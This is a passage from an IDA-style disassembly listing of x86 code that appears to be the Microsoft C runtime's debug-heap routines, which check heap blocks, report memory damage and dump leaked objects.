int 3 ; Trap to Debugger
loc_4164C9: ; CODE XREF: sub_416420+A6j
xor ecx, ecx
test ecx, ecx
jnz short loc_4164A9
jmp loc_416572
; ---------------------------------------------------------------------------
loc_4164D4: ; CODE XREF: sub_416420+82j
; sub_416420+D8j
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4164F4
int 3 ; Trap to Debugger
loc_4164F4: ; CODE XREF: sub_416420+D1j
xor edx, edx
test edx, edx
jnz short loc_4164D4
jmp short loc_416572
; ---------------------------------------------------------------------------
loc_4164FC: ; CODE XREF: sub_416420+82j
; sub_416420+100j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_41651C
int 3 ; Trap to Debugger
loc_41651C: ; CODE XREF: sub_416420+F9j
xor eax, eax
test eax, eax
jnz short loc_4164FC
jmp short loc_416572
; ---------------------------------------------------------------------------
loc_416524: ; CODE XREF: sub_416420+82j
; sub_416420+128j
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416544
int 3 ; Trap to Debugger
loc_416544: ; CODE XREF: sub_416420+121j
xor ecx, ecx
test ecx, ecx
jnz short loc_416524
jmp short loc_416572
; ---------------------------------------------------------------------------
loc_41654C: ; CODE XREF: sub_416420+79j
; sub_416420+150j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_41656C
int 3 ; Trap to Debugger
loc_41656C: ; CODE XREF: sub_416420+149j
xor edx, edx
test edx, edx
jnz short loc_41654C
loc_416572: ; CODE XREF: sub_416420+AFj
; sub_416420+DAj ...
mov [ebp+var_1C], 0
jmp loc_416787
; ---------------------------------------------------------------------------
loc_41657E: ; CODE XREF: sub_416420+56j
; sub_416420+60j
mov [ebp+var_1C], 1
mov eax, dword_4DDF74
mov [ebp+var_20], eax
jmp short loc_416597
; ---------------------------------------------------------------------------
loc_41658F: ; CODE XREF: sub_416420:loc_416782j
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+var_20], edx
loc_416597: ; CODE XREF: sub_416420+16Dj
cmp [ebp+var_20], 0
jz loc_416787
mov [ebp+var_28], 1
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_4165DC
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 1
jz short loc_4165DC
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_4165DC
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 3
jnz short loc_4165F4
loc_4165DC: ; CODE XREF: sub_416420+197j
; sub_416420+1A0j ...
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_444E80[ecx*4]
mov [ebp+var_2C], edx
jmp short loc_4165FB
; ---------------------------------------------------------------------------
loc_4165F4: ; CODE XREF: sub_416420+1BAj
mov [ebp+var_2C], offset aDamaged ; "DAMAGED"
loc_4165FB: ; CODE XREF: sub_416420+1D2j
push 4
mov al, byte_444E7C
push eax
mov ecx, [ebp+var_20]
add ecx, 1Ch
push ecx
call sub_416390
add esp, 0Ch
test eax, eax
jnz short loc_416650
loc_416616: ; CODE XREF: sub_416420+227j
mov edx, [ebp+var_20]
add edx, 20h
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_2C]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_416643
int 3 ; Trap to Debugger
loc_416643: ; CODE XREF: sub_416420+220j
xor eax, eax
test eax, eax
jnz short loc_416616
mov [ebp+var_28], 0
loc_416650: ; CODE XREF: sub_416420+1F4j
push 4
mov cl, byte_444E7C
push ecx
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov ecx, [ebp+var_20]
lea edx, [ecx+eax+20h]
push edx
call sub_416390
add esp, 0Ch
test eax, eax
jnz short loc_4166AD
loc_416673: ; CODE XREF: sub_416420+284j
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, [ebp+var_20]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_2C]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_4166A0
int 3 ; Trap to Debugger
loc_4166A0: ; CODE XREF: sub_416420+27Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_416673
mov [ebp+var_28], 0
loc_4166AD: ; CODE XREF: sub_416420+251j
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 0
jnz short loc_416706
mov eax, [ebp+var_20]
mov ecx, [eax+10h]
push ecx
mov dl, byte_444E7D
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
call sub_416390
add esp, 0Ch
test eax, eax
jnz short loc_416706
loc_4166D7: ; CODE XREF: sub_416420+2DDj
mov ecx, [ebp+var_20]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_4166F9
int 3 ; Trap to Debugger
loc_4166F9: ; CODE XREF: sub_416420+2D6j
xor edx, edx
test edx, edx
jnz short loc_4166D7
mov [ebp+var_28], 0
loc_416706: ; CODE XREF: sub_416420+294j
; sub_416420+2B5j
cmp [ebp+var_28], 0
jnz short loc_416782
mov eax, [ebp+var_20]
cmp dword ptr [eax+8], 0
jz short loc_416748
loc_416715: ; CODE XREF: sub_416420+326j
mov ecx, [ebp+var_20]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_2C]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_416742
int 3 ; Trap to Debugger
loc_416742: ; CODE XREF: sub_416420+31Fj
xor eax, eax
test eax, eax
jnz short loc_416715
loc_416748: ; CODE XREF: sub_416420+2F3j
; sub_416420+359j
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, [ebp+var_2C]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 20h
cmp eax, 1
jnz short loc_416775
int 3 ; Trap to Debugger
loc_416775: ; CODE XREF: sub_416420+352j
xor edx, edx
test edx, edx
jnz short loc_416748
mov [ebp+var_1C], 0
loc_416782: ; CODE XREF: sub_416420+2EAj
jmp loc_41658F
; ---------------------------------------------------------------------------
loc_416787: ; CODE XREF: sub_416420+159j
; sub_416420+17Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_416795
jmp short loc_4167A0
sub_416420 endp
; =============== S U B R O U T I N E =======================================
sub_416795 proc near ; CODE XREF: sub_416420+36Ep
; DATA XREF: .data:00434A60o
push 9
call sub_41BD20
add esp, 4
retn
sub_416795 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_416420
loc_4167A0: ; CODE XREF: sub_416420+373j
mov eax, [ebp+var_1C]
loc_4167A3: ; CODE XREF: sub_416420+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_416420
; ---------------------------------------------------------------------------
off_4167B4 dd offset loc_416524 ; DATA XREF: sub_416420+82r
dd offset loc_4164FC
dd offset loc_4164D4
dd offset loc_4164A9
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167D0 proc near ; CODE XREF: sub_417B70+A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_444E70
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_4167EB
mov ecx, [ebp+arg_0]
mov dword_444E70, ecx
loc_4167EB: ; CODE XREF: sub_4167D0+10j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434A68
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov eax, dword_444E70
and eax, 1
test eax, eax
jnz short loc_416831
jmp short loc_416898
; ---------------------------------------------------------------------------
loc_416831: ; CODE XREF: .data:0041682Dj
push 9
call sub_41BC80
add esp, 4
mov dword ptr [ebp-4], 0
mov ecx, dword_4DDF74
mov [ebp-1Ch], ecx
jmp short loc_416855
; ---------------------------------------------------------------------------
loc_41684D: ; CODE XREF: .data:loc_41687Dj
mov edx, [ebp-1Ch]
mov eax, [edx]
mov [ebp-1Ch], eax
loc_416855: ; CODE XREF: .data:0041684Bj
cmp dword ptr [ebp-1Ch], 0
jz short loc_41687F
mov ecx, [ebp-1Ch]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41687D
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-1Ch]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_41687D: ; CODE XREF: .data:0041686Aj
jmp short loc_41684D
; ---------------------------------------------------------------------------
loc_41687F: ; CODE XREF: .data:00416859j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_41688D
jmp short loc_416898
; =============== S U B R O U T I N E =======================================
sub_41688D proc near ; CODE XREF: .data:00416886p
; DATA XREF: .data:00434A70o
push 9
call sub_41BD20
add esp, 4
retn
sub_41688D endp
; ---------------------------------------------------------------------------
loc_416898: ; CODE XREF: .data:0041682Fj
; .data:0041688Bj
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168B0 proc near ; CODE XREF: sub_416900+1Ep
; .data:00416AC0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_4168ED
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4E0444 ; IsBadReadPtr
test eax, eax
jnz short loc_4168ED
cmp [ebp+arg_8], 0
jz short loc_4168E4
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4E0440 ; IsBadWritePtr
test eax, eax
jnz short loc_4168ED
loc_4168E4: ; CODE XREF: sub_4168B0+20j
mov [ebp+var_4], 1
jmp short loc_4168F4
; ---------------------------------------------------------------------------
loc_4168ED: ; CODE XREF: sub_4168B0+8j
; sub_4168B0+1Aj ...
mov [ebp+var_4], 0
loc_4168F4: ; CODE XREF: sub_4168B0+3Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4168B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416900 proc near ; CODE XREF: sub_415640+1AAp
; sub_415CD0+9Cp ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
jnz short loc_416913
xor eax, eax
jmp loc_416A20
; ---------------------------------------------------------------------------
loc_416913: ; CODE XREF: sub_416900+Aj
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_4168B0
add esp, 0Ch
test eax, eax
jnz short loc_416931
xor eax, eax
jmp loc_416A20
; ---------------------------------------------------------------------------
loc_416931: ; CODE XREF: sub_416900+28j
cmp dword_4DE64C, 3
jnz short loc_41699E
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_41CAF0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41696A
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_41CB50
add esp, 8
jmp loc_416A20
; ---------------------------------------------------------------------------
loc_41696A: ; CODE XREF: sub_416900+50j
mov ecx, dword_4DDF84
and ecx, 8000h
test ecx, ecx
jz short loc_416984
mov eax, 1
jmp loc_416A20
; ---------------------------------------------------------------------------
loc_416984: ; CODE XREF: sub_416900+78j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0448 ; HeapValidate
jmp loc_416A20
; ---------------------------------------------------------------------------
loc_41699E: ; CODE XREF: sub_416900+38j
cmp dword_4DE64C, 2
jnz short loc_416A0A
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_41EB10
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4169DD
mov ecx, [ebp+var_C]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_4169D9
mov eax, 1
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_4169D9: ; CODE XREF: sub_416900+D0j
xor eax, eax
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_4169DD: ; CODE XREF: sub_416900+C5j
mov eax, dword_4DDF84
and eax, 8000h
test eax, eax
jz short loc_4169F2
mov eax, 1
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_4169F2: ; CODE XREF: sub_416900+E9j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
push 0
mov edx, dword_4DE648
push edx
call dword_4E0448 ; HeapValidate
jmp short loc_416A20
; ---------------------------------------------------------------------------
loc_416A0A: ; CODE XREF: sub_416900+A5j
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
push 0
mov ecx, dword_4DE648
push ecx
call dword_4E0448 ; HeapValidate
loc_416A20: ; CODE XREF: sub_416900+Ej
; sub_416900+2Cj ...
mov esp, ebp
pop ebp
retn
sub_416900 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434A78
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov eax, [ebp+8]
push eax
call sub_416900
add esp, 4
test eax, eax
jnz short loc_416A6A
xor eax, eax
jmp loc_416B44
; ---------------------------------------------------------------------------
loc_416A6A: ; CODE XREF: .data:00416A61j
push 9
call sub_41BC80
add esp, 4
mov dword ptr [ebp-4], 0
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-1Ch], ecx
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_416AB6
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 1
jz short loc_416AB6
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_416AB6
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 3
jnz short loc_416B21
loc_416AB6: ; CODE XREF: .data:00416A92j
; .data:00416A9Bj ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4168B0
add esp, 0Ch
test eax, eax
jz short loc_416B21
mov ecx, [ebp-1Ch]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_416B21
mov eax, [ebp-1Ch]
mov ecx, [eax+18h]
cmp ecx, dword_444E74
jg short loc_416B21
cmp dword ptr [ebp+10h], 0
jz short loc_416AF6
mov edx, [ebp+10h]
mov eax, [ebp-1Ch]
mov ecx, [eax+18h]
mov [edx], ecx
loc_416AF6: ; CODE XREF: .data:00416AE9j
cmp dword ptr [ebp+14h], 0
jz short loc_416B07
mov edx, [ebp+14h]
mov eax, [ebp-1Ch]
mov ecx, [eax+8]
mov [edx], ecx
loc_416B07: ; CODE XREF: .data:00416AFAj
cmp dword ptr [ebp+18h], 0
jz short loc_416B18
mov edx, [ebp+18h]
mov eax, [ebp-1Ch]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_416B18: ; CODE XREF: .data:00416B0Bj
mov dword ptr [ebp-20h], 1
jmp short loc_416B28
; ---------------------------------------------------------------------------
loc_416B21: ; CODE XREF: .data:00416AB4j
; .data:00416ACAj ...
mov dword ptr [ebp-20h], 0
loc_416B28: ; CODE XREF: .data:00416B1Fj
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_416B36
jmp short loc_416B41
; =============== S U B R O U T I N E =======================================
sub_416B36 proc near ; CODE XREF: .data:00416B2Fp
; DATA XREF: .data:00434A80o
push 9
call sub_41BD20
add esp, 4
retn
sub_416B36 endp
; ---------------------------------------------------------------------------
loc_416B41: ; CODE XREF: .data:00416B34j
mov eax, [ebp-20h]
loc_416B44: ; CODE XREF: .data:00416A65j
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DF698
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DF698, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B80 proc near ; CODE XREF: sub_417280+Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00416D13 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434AD0
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_416BD4
loc_416BA9: ; CODE XREF: sub_416B80+4Dj
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416BC9
int 3 ; Trap to Debugger
loc_416BC9: ; CODE XREF: sub_416B80+46j
xor eax, eax
test eax, eax
jnz short loc_416BA9
jmp loc_416D13
; ---------------------------------------------------------------------------
loc_416BD4: ; CODE XREF: sub_416B80+27j
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
mov edx, dword_4DDF74
mov [ecx], edx
mov [ebp+var_1C], 0
jmp short loc_416C02
; ---------------------------------------------------------------------------
loc_416BF9: ; CODE XREF: sub_416B80+A4j
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_416C02: ; CODE XREF: sub_416B80+77j
cmp [ebp+var_1C], 5
jge short loc_416C26
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_416BF9
; ---------------------------------------------------------------------------
loc_416C26: ; CODE XREF: sub_416B80+86j
mov edx, dword_4DDF74
mov [ebp+var_20], edx
jmp short loc_416C39
; ---------------------------------------------------------------------------
loc_416C31: ; CODE XREF: sub_416B80:loc_416CDDj
mov eax, [ebp+var_20]
mov ecx, [eax]
mov [ebp+var_20], ecx
loc_416C39: ; CODE XREF: sub_416B80+AFj
cmp [ebp+var_20], 0
jz loc_416CE2
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_416CB8
mov ecx, [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_416CB8
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_20]
add edx, [eax+10h]
mov ecx, [ebp+var_20]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_416CDD
; ---------------------------------------------------------------------------
loc_416CB8: ; CODE XREF: sub_416B80+D0j
; sub_416B80+E1j ...
mov edx, [ebp+var_20]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416CD7
int 3 ; Trap to Debugger
loc_416CD7: ; CODE XREF: sub_416B80+154j
xor eax, eax
test eax, eax
jnz short loc_416CB8
loc_416CDD: ; CODE XREF: sub_416B80+136j
jmp loc_416C31
; ---------------------------------------------------------------------------
loc_416CE2: ; CODE XREF: sub_416B80+BDj
mov ecx, [ebp+arg_0]
mov edx, dword_4DDF7C
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, dword_4DDF70
mov [eax+30h], ecx
mov [ebp+var_4], 0FFFFFFFFh
call sub_416D08
jmp short loc_416D13
sub_416B80 endp
; =============== S U B R O U T I N E =======================================
sub_416D08 proc near ; CODE XREF: sub_416B80+181p
; DATA XREF: .data:00434AD8o
push 9
call sub_41BD20
add esp, 4
retn
sub_416D08 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_416B80
loc_416D13: ; CODE XREF: sub_416B80+4Fj
; sub_416B80+186j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_416B80
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_416D52
cmp dword ptr [ebp+0Ch], 0
jz short loc_416D52
cmp dword ptr [ebp+10h], 0
jnz short loc_416D80
loc_416D52: ; CODE XREF: .data:00416D44j
; .data:00416D4Aj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416D72
int 3 ; Trap to Debugger
loc_416D72: ; CODE XREF: .data:00416D6Fj
xor eax, eax
test eax, eax
jnz short loc_416D52
mov eax, [ebp-8]
jmp loc_416E4C
; ---------------------------------------------------------------------------
loc_416D80: ; CODE XREF: .data:00416D50j
mov dword ptr [ebp-4], 0
jmp short loc_416D92
; ---------------------------------------------------------------------------
loc_416D89: ; CODE XREF: .data:loc_416E17j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_416D92: ; CODE XREF: .data:00416D87j
cmp dword ptr [ebp-4], 5
jge loc_416E1C
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_416DF2
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_416E17
loc_416DF2: ; CODE XREF: .data:00416DE3j
cmp dword ptr [ebp-4], 0
jz short loc_416E17
cmp dword ptr [ebp-4], 2
jnz short loc_416E10
cmp dword ptr [ebp-4], 2
jnz short loc_416E17
mov eax, dword_444E70
and eax, 10h
test eax, eax
jz short loc_416E17
loc_416E10: ; CODE XREF: .data:00416DFCj
mov dword ptr [ebp-8], 1
loc_416E17: ; CODE XREF: .data:00416DF0j
; .data:00416DF6j ...
jmp loc_416D89
; ---------------------------------------------------------------------------
loc_416E1C: ; CODE XREF: .data:00416D96j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_416E4C: ; CODE XREF: .data:00416D7Bj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E60 proc near ; CODE XREF: sub_417280+5Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041711C SIZE 00000037 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_434BE8
push offset sub_41BD64
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov [ebp+var_20], 0
push 9
call sub_41BC80
add esp, 4
mov [ebp+var_4], 0
loc_416E9B: ; CODE XREF: sub_416E60+5Fj
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_20 ; "%s"
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416EBB
int 3 ; Trap to Debugger
loc_416EBB: ; CODE XREF: sub_416E60+58j
xor eax, eax
test eax, eax
jnz short loc_416E9B
cmp [ebp+arg_0], 0
jz short loc_416ECF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_20], edx
loc_416ECF: ; CODE XREF: sub_416E60+65j
mov eax, dword_4DDF74
mov [ebp+var_1C], eax
jmp short loc_416EE1
; ---------------------------------------------------------------------------
loc_416ED9: ; CODE XREF: sub_416E60:loc_4170FEj
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov [ebp+var_1C], edx
loc_416EE1: ; CODE XREF: sub_416E60+77j
cmp [ebp+var_1C], 0
jz loc_417103
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jz loc_417103
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_416F35
mov eax, [ebp+var_1C]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_416F35
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_416F3A
mov ecx, dword_444E70
and ecx, 10h
test ecx, ecx
jnz short loc_416F3A
loc_416F35: ; CODE XREF: sub_416E60+A6j
; sub_416E60+B6j
jmp loc_4170FE
; ---------------------------------------------------------------------------
loc_416F3A: ; CODE XREF: sub_416E60+C6j
; sub_416E60+D3j
mov edx, [ebp+var_1C]
cmp dword ptr [edx+8], 0
jz short loc_416FB3
push 0
push 1
mov eax, [ebp+var_1C]
mov ecx, [eax+8]
push ecx
call sub_4168B0
add esp, 0Ch
test eax, eax
jnz short loc_416F84
loc_416F5A: ; CODE XREF: sub_416E60+120j
mov edx, [ebp+var_1C]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416F7C
int 3 ; Trap to Debugger
loc_416F7C: ; CODE XREF: sub_416E60+119j
xor ecx, ecx
test ecx, ecx
jnz short loc_416F5A
jmp short loc_416FB3
; ---------------------------------------------------------------------------
loc_416F84: ; CODE XREF: sub_416E60+F8j
; sub_416E60+151j
mov edx, [ebp+var_1C]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 1Ch
cmp eax, 1
jnz short loc_416FAD
int 3 ; Trap to Debugger
loc_416FAD: ; CODE XREF: sub_416E60+14Aj
xor eax, eax
test eax, eax
jnz short loc_416F84
loc_416FB3: ; CODE XREF: sub_416E60+E1j
; sub_416E60+122j ...
mov ecx, [ebp+var_1C]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call sub_41B010
add esp, 18h
cmp eax, 1
jnz short loc_416FD5
